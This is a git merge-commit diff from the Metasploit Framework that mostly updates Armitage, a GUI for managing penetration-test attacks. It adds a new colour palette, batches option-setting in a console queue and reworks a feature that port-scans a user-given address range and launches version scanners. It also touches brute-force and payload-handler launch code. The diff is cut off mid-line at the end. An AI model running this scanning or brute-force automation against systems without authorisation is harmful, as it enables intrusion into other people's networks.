Merge branch 'master' of https://github.com/rapid7/metasploit-framework
This commit is contained in:
@@ -64,6 +64,6 @@ The framework mailing list is the place to discuss features and ask for help.
|
||||
To subscribe, visit the following web page:
|
||||
https://mail.metasploit.com/mailman/listinfo/framework
|
||||
|
||||
The archives are available from:
|
||||
The e-mail archives are available from:
|
||||
https://mail.metasploit.com/pipermail/framework/
|
||||
|
||||
|
||||
Binary file not shown.
@@ -1,6 +1,24 @@
|
||||
Armitage Changelog
|
||||
==================
|
||||
|
||||
21 May 12
|
||||
---------
|
||||
- Added a hack to prevent the input area from flickering when the
|
||||
prompt changes.
|
||||
- Updated the color palette to something a little more subtle.
|
||||
- Added an optimization to how modules are launched. This will make
|
||||
a difference for team use in high latency situations.
|
||||
- Rewrote MSF Scans feature to use console queue. This option is more
|
||||
reliable and it makes the code easier to follow.
|
||||
- Added a hack to combine chat message writes with a read request.
|
||||
This will make the event log more responsive in a high latency
|
||||
situation (can't you tell I care about this "situation")
|
||||
- Fixed text highlights through Ctrl+F on Windows. UNIX platforms
|
||||
were always OK. Another good reason to not use these tools on
|
||||
Windows. Ever.
|
||||
- View -> Downloads Sync Files feature now works on Windows. It looks
|
||||
like leaving those pesky :'s in the file paths is bad.
|
||||
|
||||
17 May 12
|
||||
---------
|
||||
- Fixed bug with loot/download viewer breaking with a font resize.
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@
|
||||
<center><h1>Armitage 1.44-dev</h1></center>
|
||||
|
||||
<p>An attack management tool for Metasploit®
|
||||
<br />Release: 17 May 12</p>
|
||||
<br />Release: 21 May 12</p>
|
||||
<br />
|
||||
<p>Developed by:</p>
|
||||
|
||||
|
||||
+12
-12
@@ -41,18 +41,18 @@ armitage.show_all_commands.boolean=true
|
||||
armitage.application_title.string=Armitage
|
||||
console.color_0.color=\#ffffff
|
||||
console.color_1.color=\#000000
|
||||
console.color_2.color=\#000080
|
||||
console.color_3.color=\#009000
|
||||
console.color_4.color=\#ff0000
|
||||
console.color_5.color=\#800000
|
||||
console.color_6.color=\#a000a0
|
||||
console.color_7.color=\#ff8000
|
||||
console.color_8.color=\#ffff00
|
||||
console.color_9.color=\#00ff00
|
||||
console.color_10.color=\#009090
|
||||
console.color_11.color=\#00ffff
|
||||
console.color_12.color=\#0000ff
|
||||
console.color_13.color=\#ff00ff
|
||||
console.color_2.color=\#3465A4
|
||||
console.color_3.color=\#4E9A06
|
||||
console.color_4.color=\#EF2929
|
||||
console.color_5.color=\#CC0000
|
||||
console.color_6.color=\#75507B
|
||||
console.color_7.color=\#C4A000
|
||||
console.color_8.color=\#FCE94F
|
||||
console.color_9.color=\#8AE234
|
||||
console.color_10.color=\#069A9A
|
||||
console.color_11.color=\#34E2E2
|
||||
console.color_12.color=\#729FCF
|
||||
console.color_13.color=\#AD7FA8
|
||||
console.color_14.color=\#808080
|
||||
console.color_15.color=\#c0c0c0
|
||||
console.show_colors.boolean=true
|
||||
|
||||
+3
-3
@@ -1,4 +1,4 @@
|
||||
^(..:..:..) \[\*\] (.*) $1 \cA[*]\o $2
|
||||
^\[\*\] (.*) \cA[*]\o $1
|
||||
^(..:..:..) \* (.*) $1 \c7*\o $2
|
||||
^(..:..:..) \[\*\] (.*) $1 \cC[*]\o $2
|
||||
^\[\*\] (.*) \cC[*]\o $1
|
||||
^(..:..:..) \* (.*) $1 \cD*\o $2
|
||||
^(\w+)> \u$1\o>
|
||||
|
||||
+1
-1
@@ -2,7 +2,7 @@
|
||||
^meterpreter > \umeterpreter\u >
|
||||
^msf > \umsf\u >
|
||||
^msf (.*?)\((.*?)\) > \umsf\u $1(\c4$2\o) >
|
||||
^\[\*\] (.*) \cA[*]\o $1
|
||||
^\[\*\] (.*) \cC[*]\o $1
|
||||
^\[\+\] (.*) \c9[+]\o $1
|
||||
^\[\-\] (.*) \c4[-]\o $1
|
||||
^ =\[ (.*) =[\c7 $1
|
||||
|
||||
+6
-7
@@ -150,7 +150,8 @@ sub launch_service {
|
||||
}
|
||||
|
||||
sub _launch_service {
|
||||
local('$c $key $value');
|
||||
local('$c $key $value %options');
|
||||
%options = copy($3);
|
||||
|
||||
if ('SESSION' in $3) {
|
||||
$c = createDisplayTab($1, $host => sessionToHost($3['SESSION']), $file => "post");
|
||||
@@ -167,17 +168,15 @@ sub _launch_service {
|
||||
}
|
||||
|
||||
if ($4 eq "payload" && $format eq "multi/handler") {
|
||||
[$c addCommand: $null, "use exploit/multi/handler"];
|
||||
[$c addCommand: $null, "set PAYLOAD ". substr($2, 8)];
|
||||
[$c addCommand: $null, "set ExitOnSession false"];
|
||||
[$c addCommand: $null, "use exploit/multi/handler"];
|
||||
%options['PAYLOAD'] = substr($2, 8);
|
||||
%options['ExitOnSession'] = 'false';
|
||||
}
|
||||
else {
|
||||
[$c addCommand: $null, "use $2"];
|
||||
}
|
||||
|
||||
foreach $key => $value ($3) {
|
||||
[$c addCommand: $null, "set $key $value"];
|
||||
}
|
||||
[$c setOptions: %options];
|
||||
|
||||
if ($4 eq "exploit" || ($4 eq "payload" && $format eq "multi/handler")) {
|
||||
[$c addCommand: "x", "exploit -j"];
|
||||
|
||||
+6
-5
@@ -33,6 +33,7 @@ sub downloadLoot {
|
||||
local('$dest');
|
||||
#$dest = chooseFile($title => "Where shall I save these files?", $dirsonly => 1, $always => 1);
|
||||
$dest = getFileProper(dataDirectory(), $type);
|
||||
mkdir($dest);
|
||||
_downloadLoot(\$model, \$table, \$getme, \$dest, $dtype => $type);
|
||||
}, \$model, \$table, \$getme, \$type));
|
||||
}
|
||||
@@ -48,7 +49,7 @@ sub _downloadLoot {
|
||||
# make the folder to store our downloads into
|
||||
local('$handle $data $file');
|
||||
if ($dtype eq "downloads") {
|
||||
$file = getFileProper($dest, $host, $path, $name);
|
||||
$file = getFileProper($dest, $host, strrep($path, ':', ''), $name);
|
||||
}
|
||||
else {
|
||||
$file = getFileProper($dest, $host, $name);
|
||||
@@ -76,10 +77,10 @@ sub _postLoot {
|
||||
local('$host $location $name $type $when');
|
||||
($host, $location, $name, $type, $when) = $1;
|
||||
|
||||
[$2 append: "\c9
|
||||
#
|
||||
# $host $+ : $name
|
||||
#\n"];
|
||||
[$2 append: "
|
||||
\c9#
|
||||
\c9# $host $+ : $name
|
||||
\c9#\n"];
|
||||
|
||||
if ("*binary*" iswm $type) {
|
||||
[$2 append: "\c4This is a binary file\n"];
|
||||
|
||||
+65
-73
@@ -266,96 +266,88 @@ sub launch_msf_scans {
|
||||
@modules = filter({ return iff("*_version" iswm $1, $1); }, @auxiliary);
|
||||
|
||||
$hosts = iff($1 is $null, ask("Enter range (e.g., 192.168.1.0/24):"), $1);
|
||||
if ($hosts is $null) {
|
||||
return;
|
||||
}
|
||||
|
||||
thread(lambda({
|
||||
local('$scanner $index $console %ports %discover $port %o $temp');
|
||||
local('$scanner $index $queue %ports %discover $port %o $temp');
|
||||
%ports = ohash();
|
||||
%discover = ohash();
|
||||
setMissPolicy(%ports, { return @(); });
|
||||
setMissPolicy(%discover, { return @(); });
|
||||
|
||||
if ($hosts !is $null) {
|
||||
elog("launched msf scans at: $hosts");
|
||||
elog("launched msf scans at: $hosts");
|
||||
|
||||
$console = createConsoleTab("Scan", 1, $host => "all", $file => "scan");
|
||||
[$console addSessionListener: lambda({
|
||||
local('$text $host $port $hosts $modules $module @c');
|
||||
$queue = createDisplayTab("Scan", $host => "all", $file => "scan");
|
||||
|
||||
foreach $text (split("\n", $2)) {
|
||||
if ($text ismatch '... (.*?):(\d+) - TCP OPEN') {
|
||||
($host, $port) = matched();
|
||||
push(%discover[$port], $host);
|
||||
}
|
||||
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && $start == 1) {
|
||||
$start = $null;
|
||||
[[$console getWindow] append: "[*] Starting host discovery scans\n"];
|
||||
[$queue append: "[*] Building list of scan ports and modules"];
|
||||
|
||||
foreach $port => $hosts (%discover) {
|
||||
if ($port in %ports) {
|
||||
$modules = %ports[$port];
|
||||
foreach $module ($modules) {
|
||||
@c = @("use $module");
|
||||
push(@c, "set RHOSTS " . join(", ", $hosts));
|
||||
push(@c, "set RPORT $port");
|
||||
push(@c, "set THREADS 24");
|
||||
push(@c, "run -j");
|
||||
# build up a list of scan ports
|
||||
foreach $index => $scanner (@modules) {
|
||||
if ($scanner ismatch 'scanner/(.*?)/\1_version') {
|
||||
%o = call($client, "module.options", "auxiliary", $scanner);
|
||||
if ('RPORT' in %o) {
|
||||
$port = %o['RPORT']['default'];
|
||||
push(%ports[$port], $scanner);
|
||||
}
|
||||
|
||||
push(@launch, @c);
|
||||
}
|
||||
safetyCheck();
|
||||
}
|
||||
}
|
||||
|
||||
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
|
||||
# for the default ports
|
||||
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
|
||||
$temp = %ports[$port];
|
||||
}
|
||||
|
||||
# add a few left out modules
|
||||
push(%ports['445'], "scanner/smb/smb_version");
|
||||
|
||||
[$queue append: "[*] Launching TCP scan"];
|
||||
[$queue addCommand: $null, "use auxiliary/scanner/portscan/tcp"];
|
||||
[$queue setOptions: %(PORTS => join(", ", keys(%ports)), RHOSTS => $hosts, THREADS => 24)];
|
||||
[$queue addCommand: "x", "run -j"];
|
||||
|
||||
[$queue addSessionListener: lambda({
|
||||
this('$start @launch');
|
||||
local('$text $host $port $hosts $modules $module $options');
|
||||
|
||||
foreach $text (split("\n", $3)) {
|
||||
if ($text ismatch '... (.*?):(\d+) - TCP OPEN') {
|
||||
($host, $port) = matched();
|
||||
push(%discover[$port], $host);
|
||||
}
|
||||
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && $start is $null) {
|
||||
$start = 1;
|
||||
[$queue append: "\n[*] Starting host discovery scans"];
|
||||
|
||||
# gather up the list of modules that we will launch...
|
||||
foreach $port => $hosts (%discover) {
|
||||
if ($port in %ports) {
|
||||
$modules = %ports[$port];
|
||||
foreach $module ($modules) {
|
||||
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24)));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' || $text ismatch '... Auxiliary failed: .*') {
|
||||
if (size(@launch) == 0) {
|
||||
$time = (ticks() - $time) / 1000.0;
|
||||
|
||||
[[$console getWindow] append: "\n[*] Scan complete in $time $+ s\n"];
|
||||
}
|
||||
else {
|
||||
[[$console getWindow] append: "\n[*] " . size(@launch) . " scan" . iff(size(@launch) != 1, "s") . " to go...\n"];
|
||||
thread(lambda({
|
||||
local('$command');
|
||||
foreach $command ($commands) {
|
||||
[$console sendString: "$command $+ \n"];
|
||||
yield 250;
|
||||
}
|
||||
}, \$console, $commands => shift(@launch)));
|
||||
}
|
||||
}
|
||||
}
|
||||
}, \$console, \%ports, \%discover, $start => 1, @launch => @(), $time => ticks())];
|
||||
|
||||
[[$console getWindow] append: "[*] Building list of scan ports and modules\n"];
|
||||
|
||||
# build up a list of scan ports
|
||||
foreach $index => $scanner (@modules) {
|
||||
if ($scanner ismatch 'scanner/(.*?)/\1_version') {
|
||||
%o = call($client, "module.options", "auxiliary", $scanner);
|
||||
if ('RPORT' in %o) {
|
||||
$port = %o['RPORT']['default'];
|
||||
push(%ports[$port], $scanner);
|
||||
}
|
||||
|
||||
safetyCheck();
|
||||
if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && size(@launch) > 0) {
|
||||
[$queue append: "\n[*] " . size(@launch) . " scan" . iff(size(@launch) != 1, "s") . " to go..."];
|
||||
($module, $options) = shift(@launch);
|
||||
[$queue addCommand: $null, "use $module"];
|
||||
[$queue setOptions: $options];
|
||||
[$queue addCommand: $null, "run -j"];
|
||||
}
|
||||
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && size(@launch) == 0) {
|
||||
$time = (ticks() - $time) / 1000.0;
|
||||
[$queue append: "\n[*] Scan complete in $time $+ s"];
|
||||
}
|
||||
}
|
||||
}, \$hosts, \%ports, \@modules, \%discover, \$queue, $time => ticks())];
|
||||
|
||||
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
|
||||
# for the default ports
|
||||
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
|
||||
$temp = %ports[$port];
|
||||
}
|
||||
|
||||
# add a few left out modules
|
||||
push(%ports['445'], "scanner/smb/smb_version");
|
||||
|
||||
[[$console getWindow] append: "[*] Launching TCP scan\n"];
|
||||
[$console sendString: "use auxiliary/scanner/portscan/tcp\n"];
|
||||
[$console sendString: "set PORTS " . join(", ", keys(%ports)) . "\n"];
|
||||
[$console sendString: "set RHOSTS $hosts $+ \n"];
|
||||
[$console sendString: "set THREADS 24\n"];
|
||||
[$console sendString: "run -j\n"];
|
||||
}
|
||||
[$queue start];
|
||||
}, \$hosts, \@modules));
|
||||
}
|
||||
|
||||
+2
-2
@@ -323,9 +323,9 @@ sub launchBruteForce {
|
||||
[$console addCommand: $null, "use $type $+ / $+ $module"];
|
||||
foreach $key => $value ($options) {
|
||||
$value = strrep($value, '\\', '\\\\');
|
||||
[$console addCommand: $null, "set $key $value"];
|
||||
}
|
||||
[$console addCommand: $null, "set REMOVE_USERPASS_FILE true"];
|
||||
$options['REMOVE_USERPASS_FILE'] = "true";
|
||||
[$console setOptions: $options];
|
||||
[$console addCommand: $null, "run -j"];
|
||||
[$console start];
|
||||
}, $type => $1, $module => $2, $options => $3, $title => $4));
|
||||
|
||||
+8
-8
@@ -47,8 +47,6 @@ sub client {
|
||||
%async['module.execute'] = 1;
|
||||
%async['core.setg'] = 1;
|
||||
%async['console.destroy'] = 1;
|
||||
%async['console.write'] = 1;
|
||||
%async['session.shell_write'] = 1;
|
||||
|
||||
#
|
||||
# verify the client
|
||||
@@ -189,13 +187,15 @@ sub client {
|
||||
release($poll_lock);
|
||||
writeObject($handle, result(%()));
|
||||
}
|
||||
else if ($method eq "armitage.push") {
|
||||
($null, $data) = $args;
|
||||
event("< $+ $[10]eid $+ > " . $data);
|
||||
writeObject($handle, result(%()));
|
||||
}
|
||||
else if ($method eq "armitage.poll") {
|
||||
else if ($method eq "armitage.poll" || $method eq "armitage.push") {
|
||||
acquire($poll_lock);
|
||||
if ($method eq "armitage.push") {
|
||||
($null, $data) = $args;
|
||||
foreach $temp (split("\n", $data)) {
|
||||
push(@events, formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data);
|
||||
}
|
||||
}
|
||||
|
||||
if (size(@events) > $index) {
|
||||
$rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > "));
|
||||
$index = size(@events);
|
||||
|
||||
+3
-10
@@ -138,9 +138,6 @@ sub createConsolePanel {
|
||||
else if ($word in @payloads) {
|
||||
[$thread sendString: "set PAYLOAD $word $+ \n"];
|
||||
}
|
||||
else if (-exists $word && !$REMOTE) {
|
||||
saveFile($word);
|
||||
}
|
||||
}, \$thread)];
|
||||
|
||||
return @($result['id'], $console, $thread);
|
||||
@@ -159,9 +156,7 @@ sub createConsoleTab {
|
||||
logCheck($console, $host, $file);
|
||||
}
|
||||
|
||||
dispatchEvent(lambda({
|
||||
[$frame addTab: iff($title is $null, "Console", $title), $console, $thread, $host];
|
||||
}, $title => $1, \$console, \$thread, \$host));
|
||||
[$frame addTab: iff($1 is $null, "Console", $1), $console, $thread, $host];
|
||||
return $thread;
|
||||
}
|
||||
|
||||
@@ -479,10 +474,8 @@ sub module_execute {
|
||||
$queue = createDisplayTab($1, \$host);
|
||||
|
||||
[$queue addCommand: $null, "use $1 $+ / $+ $2"];
|
||||
foreach $key => $value ($3) {
|
||||
[$queue addCommand: $null, "set $key $value"];
|
||||
}
|
||||
|
||||
[$queue setOptions: $3];
|
||||
|
||||
if ($1 eq "exploit") {
|
||||
[$queue addCommand: $null, "exploit -j"];
|
||||
}
|
||||
|
||||
@@ -143,8 +143,13 @@ public class ConsoleClient implements Runnable, ActionListener {
|
||||
}
|
||||
}
|
||||
|
||||
connection.execute(writeCommand, new Object[] { session, text });
|
||||
read = readResponse();
|
||||
if ("armitage.push".equals(writeCommand)) {
|
||||
read = (Map)connection.execute(writeCommand, new Object[] { session, text });
|
||||
}
|
||||
else {
|
||||
connection.execute(writeCommand, new Object[] { session, text });
|
||||
read = readResponse();
|
||||
}
|
||||
processRead(read);
|
||||
|
||||
fireSessionWroteEvent(text);
|
||||
|
||||
+89
-2
@@ -21,8 +21,9 @@ public class ConsoleQueue implements Runnable {
|
||||
protected Console display = null;
|
||||
|
||||
private static class Command {
|
||||
public Object token;
|
||||
public String text;
|
||||
public Object token = null;
|
||||
public String text = null;
|
||||
public Map assign = null;
|
||||
public long start = System.currentTimeMillis();
|
||||
}
|
||||
|
||||
@@ -92,6 +93,78 @@ public class ConsoleQueue implements Runnable {
|
||||
}
|
||||
|
||||
protected void processCommand(Command c) {
|
||||
if (c.assign == null) {
|
||||
processNormalCommand(c);
|
||||
}
|
||||
else {
|
||||
processAssignCommand(c);
|
||||
}
|
||||
}
|
||||
|
||||
protected void processAssignCommand(Command c) {
|
||||
try {
|
||||
/* absorb anything misc */
|
||||
Map read = readResponse();
|
||||
String prompt = ConsoleClient.cleanText(read.get("prompt") + "");
|
||||
|
||||
StringBuffer writeme = new StringBuffer();
|
||||
Set expected = new HashSet();
|
||||
|
||||
/* loop through our values to assign */
|
||||
Iterator i = c.assign.entrySet().iterator();
|
||||
while (i.hasNext()) {
|
||||
Map.Entry entry = (Map.Entry)i.next();
|
||||
String key = entry.getKey() + "";
|
||||
String value = entry.getValue() + "";
|
||||
writeme.append("set " + key + " " + value + "\n");
|
||||
expected.add(key);
|
||||
}
|
||||
|
||||
/* write our command to whateverz */
|
||||
connection.execute("console.write", new Object[] { consoleid, writeme.toString() });
|
||||
|
||||
long start = System.currentTimeMillis();
|
||||
|
||||
/* process through all of our values */
|
||||
while (expected.size() > 0) {
|
||||
Thread.yield();
|
||||
Map temp = (Map)(connection.execute("console.read", new Object[] { consoleid }));
|
||||
if (!isEmptyData(temp.get("data") + "")) {
|
||||
String[] lines = (temp.get("data") + "").split("\n");
|
||||
for (int x = 0; x < lines.length; x++) {
|
||||
if (lines[x].indexOf(" => ") != -1) {
|
||||
String[] kv = lines[x].split(" => ");
|
||||
|
||||
/* remove any set variables from our set of stuff */
|
||||
expected.remove(kv[0]);
|
||||
|
||||
if (display != null) {
|
||||
display.append(prompt + "set " + kv[0] + " " + kv[1] + "\n");
|
||||
display.append(lines[x] + "\n");
|
||||
}
|
||||
}
|
||||
else if (display != null) {
|
||||
display.append(lines[x] + "\n");
|
||||
}
|
||||
else {
|
||||
System.err.println("Batch read unexpected: " + lines[x]);
|
||||
}
|
||||
}
|
||||
}
|
||||
else if ((System.currentTimeMillis() - start) > 10000) {
|
||||
/* this is a safety check to keep a console from spinning waiting for one command to complete. Shouldn't trigger--unless I mess up :) */
|
||||
System.err.println("Timed out: " + c.assign + " vs. " + expected);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex) {
|
||||
System.err.println(consoleid + " -> " + c.text);
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
protected void processNormalCommand(Command c) {
|
||||
Map read = null;
|
||||
try {
|
||||
if (c.text.startsWith("ECHO ")) {
|
||||
@@ -161,6 +234,20 @@ public class ConsoleQueue implements Runnable {
|
||||
}
|
||||
}
|
||||
|
||||
public void append(String text) {
|
||||
addCommand(null, "ECHO " + text + "\n");
|
||||
}
|
||||
|
||||
public void setOptions(Map options) {
|
||||
synchronized (this) {
|
||||
Command temp = new Command();
|
||||
temp.token = null;
|
||||
temp.text = null;
|
||||
temp.assign = options;
|
||||
commands.add(temp);
|
||||
}
|
||||
}
|
||||
|
||||
public void addCommand(Object token, String text) {
|
||||
synchronized (this) {
|
||||
if (text.trim().equals("")) {
|
||||
|
||||
+55
-20
@@ -31,19 +31,20 @@ public class Colors {
|
||||
colorTable = new Color[16];
|
||||
colorTable[0] = Color.white;
|
||||
colorTable[1] = new Color(0, 0, 0);
|
||||
colorTable[2] = new Color(0, 0, 128);
|
||||
colorTable[3] = new Color(0, 144, 0);
|
||||
colorTable[4] = new Color(255, 0, 0);
|
||||
colorTable[5] = new Color(128, 0, 0);
|
||||
colorTable[6] = new Color(160, 0, 160);
|
||||
colorTable[7] = new Color(255, 128, 0);
|
||||
colorTable[8] = new Color(255, 255, 0);
|
||||
colorTable[9] = new Color(0, 255, 0);
|
||||
colorTable[10] = new Color(0, 144, 144);
|
||||
colorTable[11] = new Color(0, 255, 255);
|
||||
colorTable[12] = new Color(0, 0, 255);
|
||||
colorTable[13] = new Color(255, 0, 255);
|
||||
colorTable[14] = new Color(128, 128, 128);
|
||||
colorTable[2] = Color.decode("#3465A4");
|
||||
colorTable[3] = Color.decode("#4E9A06");
|
||||
colorTable[4] = Color.decode("#EF2929"); //new Color(255, 0, 0);
|
||||
colorTable[5] = Color.decode("#CC0000");
|
||||
colorTable[6] = Color.decode("#75507B");
|
||||
colorTable[7] = Color.decode("#C4A000");
|
||||
colorTable[8] = Color.decode("#FCE94F");
|
||||
colorTable[9] = Color.decode("#8AE234");
|
||||
colorTable[10] = Color.decode("#06989A");
|
||||
colorTable[11] = Color.decode("#34E2E2");
|
||||
colorTable[12] = Color.decode("#729FCF");
|
||||
colorTable[13] = Color.decode("#AD7FA8");
|
||||
//colorTable[14] = Color.decode("#555753");
|
||||
colorTable[14] = Color.decode("#808080");
|
||||
colorTable[15] = Color.lightGray;
|
||||
|
||||
for (int x = 0; x < 16; x++) {
|
||||
@@ -62,8 +63,12 @@ public class Colors {
|
||||
|
||||
/* strip format codes from the text */
|
||||
public String strip(String text) {
|
||||
StringBuffer buffer = new StringBuffer(text.length());
|
||||
Fragment f = parse(text);
|
||||
return strip(f);
|
||||
}
|
||||
|
||||
private String strip(Fragment f) {
|
||||
StringBuffer buffer = new StringBuffer(128);
|
||||
while (f != null) {
|
||||
buffer.append(f.text);
|
||||
f = f.next;
|
||||
@@ -71,13 +76,11 @@ public class Colors {
|
||||
return buffer.toString();
|
||||
}
|
||||
|
||||
public void append(JTextPane console, String text) {
|
||||
StyledDocument doc = console.getStyledDocument();
|
||||
Fragment f = parse(text);
|
||||
private void append(StyledDocument doc, Fragment f) {
|
||||
while (f != null) {
|
||||
try {
|
||||
if (f.text.length() > 0)
|
||||
doc.insertString(doc.getLength(), f.text.toString(), showcolors ? f.attr : null);
|
||||
doc.insertString(doc.getLength(), f.text.toString(), f.attr);
|
||||
}
|
||||
catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
@@ -86,14 +89,46 @@ public class Colors {
|
||||
}
|
||||
}
|
||||
|
||||
public void append(JTextPane console, String text) {
|
||||
StyledDocument doc = console.getStyledDocument();
|
||||
Fragment f = parse(text);
|
||||
if (showcolors) {
|
||||
append(doc, f);
|
||||
}
|
||||
else {
|
||||
append(doc, parse(strip(f)));
|
||||
}
|
||||
}
|
||||
|
||||
public void set(JTextPane console, String text) {
|
||||
console.setText("");
|
||||
append(console, text);
|
||||
/* don't update that which we do not need to update */
|
||||
Fragment f = parse(text);
|
||||
if (strip(f).equals(console.getText())) {
|
||||
return;
|
||||
}
|
||||
|
||||
StyledDocument doc = console.getStyledDocument();
|
||||
try {
|
||||
doc.remove(0, doc.getLength());
|
||||
if (showcolors)
|
||||
append(doc, f);
|
||||
else
|
||||
append(doc, parse(strip(f)));
|
||||
}
|
||||
catch (BadLocationException ex) { ex.printStackTrace(); }
|
||||
|
||||
/* this is a dumb hack to prevent the height from getting out of whack */
|
||||
console.setSize(new Dimension(1000, console.getSize().height));
|
||||
}
|
||||
|
||||
private Fragment parse(String text) {
|
||||
|
||||
Fragment current = new Fragment();
|
||||
Fragment first = current;
|
||||
|
||||
if (text == null)
|
||||
return current;
|
||||
|
||||
char[] data = text.toCharArray();
|
||||
int fore, back;
|
||||
|
||||
|
||||
+2
-2
@@ -271,12 +271,12 @@ public class Console extends JPanel implements FocusListener {
|
||||
|
||||
if (breakp != -1) {
|
||||
colors.append(console, _text.substring(0, breakp + 1));
|
||||
colors.set(prompt, _text.substring(breakp + 1) + " ");
|
||||
updatePrompt(_text.substring(breakp + 1) + " ");
|
||||
if (log != null)
|
||||
log.print(colors.strip(_text.substring(0, breakp + 1)));
|
||||
}
|
||||
else {
|
||||
colors.set(prompt, _text);
|
||||
updatePrompt(_text);
|
||||
}
|
||||
promptLock = true;
|
||||
}
|
||||
|
||||
+1
-1
@@ -74,7 +74,7 @@ public class SearchPanel extends JPanel implements ActionListener {
|
||||
try {
|
||||
String text = component.getText();
|
||||
int lastIndex = -1;
|
||||
while ((lastIndex = text.indexOf(searchstr, lastIndex + 1)) != -1) {
|
||||
while ((lastIndex = text.replaceAll("\r", "").indexOf(searchstr, lastIndex + 1)) != -1) {
|
||||
component.getHighlighter().addHighlight(
|
||||
lastIndex,
|
||||
lastIndex + searchstr.length(),
|
||||
|
||||
+18
@@ -1,6 +1,24 @@
|
||||
Armitage Changelog
|
||||
==================
|
||||
|
||||
21 May 12
|
||||
---------
|
||||
- Added a hack to prevent the input area from flickering when the
|
||||
prompt changes.
|
||||
- Updated the color palette to something a little more subtle.
|
||||
- Added an optimization to how modules are launched. This will make
|
||||
a difference for team use in high latency situations.
|
||||
- Rewrote MSF Scans feature to use console queue. This option is more
|
||||
reliable and it makes the code easier to follow.
|
||||
- Added a hack to combine chat message writes with a read request.
|
||||
This will make the event log more responsive in a high latency
|
||||
situation (can't you tell I care about this "situation")
|
||||
- Fixed text highlights through Ctrl+F on Windows. UNIX platforms
|
||||
were always OK. Another good reason to not use these tools on
|
||||
Windows. Ever.
|
||||
- View -> Downloads Sync Files feature now works on Windows. It looks
|
||||
like leaving those pesky :'s in the file paths is bad.
|
||||
|
||||
17 May 12
|
||||
---------
|
||||
- Fixed bug with loot/download viewer breaking with a font resize.
|
||||
|
||||
+5
-6
@@ -98,10 +98,8 @@ module MetasploitDataModels::ActiveRecordModels::Host
|
||||
# Note that we're already restricting the query to this host by using
|
||||
# host.notes instead of Note, so don't need a host_id in the
|
||||
# conditions.
|
||||
fingers = host.notes.find(:all,
|
||||
:conditions => [ "ntype like '%%fingerprint'" ]
|
||||
)
|
||||
fingers.each do |fp|
|
||||
fingerprintable_notes = self.notes.where("ntype like '%%fingerprint'")
|
||||
fingerprintable_notes.each do |fp|
|
||||
next if not validate_fingerprint_data(fp)
|
||||
norm = normalize_scanner_fp(fp)
|
||||
wvers[norm[:os_sp]] = wvers[norm[:os_sp]].to_i + (100 * norm[:certainty])
|
||||
@@ -124,8 +122,9 @@ module MetasploitDataModels::ActiveRecordModels::Host
|
||||
# has an opinion and which doesn't. It would also be nice to
|
||||
# identify "impossible" combinations of services and alert that
|
||||
# something funny is going on.
|
||||
host.services.each do |s|
|
||||
next if not s.info
|
||||
# XXX: This hack solves the memory leak generated by self.services.each {}
|
||||
fingerprintable_services = self.services.where("name is not null and name != '' and info is not null and info != ''")
|
||||
fingerprintable_services.each do |s|
|
||||
points = 0
|
||||
case s.name
|
||||
when 'smb'
|
||||
|
||||
+9
@@ -10,6 +10,15 @@ module MetasploitDataModels::ActiveRecordModels::Loot
|
||||
|
||||
before_destroy :delete_file
|
||||
|
||||
scope :search, lambda { |*args|
|
||||
where(["loots.ltype ILIKE ? OR " +
|
||||
"loots.name ILIKE ? OR " +
|
||||
"loots.info ILIKE ? OR " +
|
||||
"loots.data ILIKE ?",
|
||||
